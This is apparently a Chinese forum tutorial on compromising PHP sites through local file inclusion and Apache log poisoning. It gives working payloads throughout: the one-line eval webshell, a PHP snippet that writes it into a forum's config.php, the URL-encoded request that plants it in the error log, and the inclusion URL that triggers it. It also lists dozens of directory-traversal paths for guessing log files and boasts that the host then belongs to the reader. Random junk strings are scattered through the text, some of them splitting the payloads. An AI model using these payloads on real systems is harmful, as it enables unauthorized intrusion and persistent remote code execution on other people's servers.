php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
' Q/ k) M1 P6 N' g' q7 _
6 t* V/ f! X( I; [到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

1 v0 r7 W" H9 j! X+ W<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
8 c# k, o1 s2 ^fclose($fp);?>   //在config.php里写入一句木马语句

$ i$ Q5 L& S  M: D我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
* m/ u! v0 N$ T5 c%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
2 J0 C, Y) m; U! \: r$ gfclose%28%24fp%29%3B%3F%3E
" U; k: w4 `# ^) F+ ^: b8 ?; `; K我们提交
, S: l9 }/ Y6 c9 W3 n, o( fhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
1 x5 j6 T9 K# p/ }3 U%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
. d! z; ^1 [- M
这样就错误日志里就记录下了这行写入webshell的代码。
. A. k6 [$ q4 o4 `# r- Q我们再来包含日志，提交
5 F3 H$ c  y& U0 o) j8 xhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
4 K: Z0 E/ y: [3 Q
这样webshell就写入成功了，config.php里就写入一句木马语句
! I/ K2 s  g/ n) Z: a' G2 g1 OOK.
- e. m  |) q) @http://www.xxx.com/forum/config.php这个就成了我们的webshell
$ v2 X! m" b' K) s直接用lanker的客户端一连，主机就是你的了。
  I, ]9 m0 Q  z1 v6 [, t, j
5 v1 E! ]; }2 H) wPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
- e, r! g; N4 m' @../apache/logs/error.log
6 j8 J2 O" h& x../apache/logs/access.log
, D# ], \* z# Z# i3 w7 w; h../../apache/logs/error.log
; \2 o( B5 Z) x../../apache/logs/access.log
& U9 }0 T  S* ]1 T, s../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
- v3 }- F3 Z6 h6 p! v. u../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
9 t8 R! ^/ `# [../../../../../../../../../../var/www/logs/access.log
6 i8 |- R8 d0 n/ O../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
$ ~  F: i# t% J: f" q../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
2 ~. Q) G: C% s6 e../../../../../../../../../../var/www/logs/error_log
) Q7 W. d4 d* v  {../../../../../../../../../../var/www/logs/error.log
4 ~8 d  x! J" ]( ~5 s3 B, Z../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
' c" c& J- }# j7 i../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
* k0 e) a: @/ H$ j; \2 T+ W../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
  s& x1 e1 |; X1 T' t1 a' O2 N/var/log/httpd/error_log     
9 e# {! ?/ f, v) I1 U6 M( O/ l) V; g../apache/logs/error.log     
+ z  n) x* \3 B! h4 }" G+ N../apache/logs/access.log
2 w% d& C6 e- s../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
# b. ^0 |, S. ]  p5 Z+ c/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
# g9 C, ~: l/ d) }/usr/local/apache/logs/access.log
/var/log/apache/access_log
+ a' u/ p. _# B; S% t1 U/var/log/apache/access.log
/var/log/access_log
6 T1 [- o. f: L7 P$ W1 Y" B/var/www/logs/error_log
$ _. F3 T# Z  \2 j, u/var/www/logs/error.log
. H# @# o" [( H3 r/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
. }5 X4 f! R: t) }$ E/ A0 g+ k/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log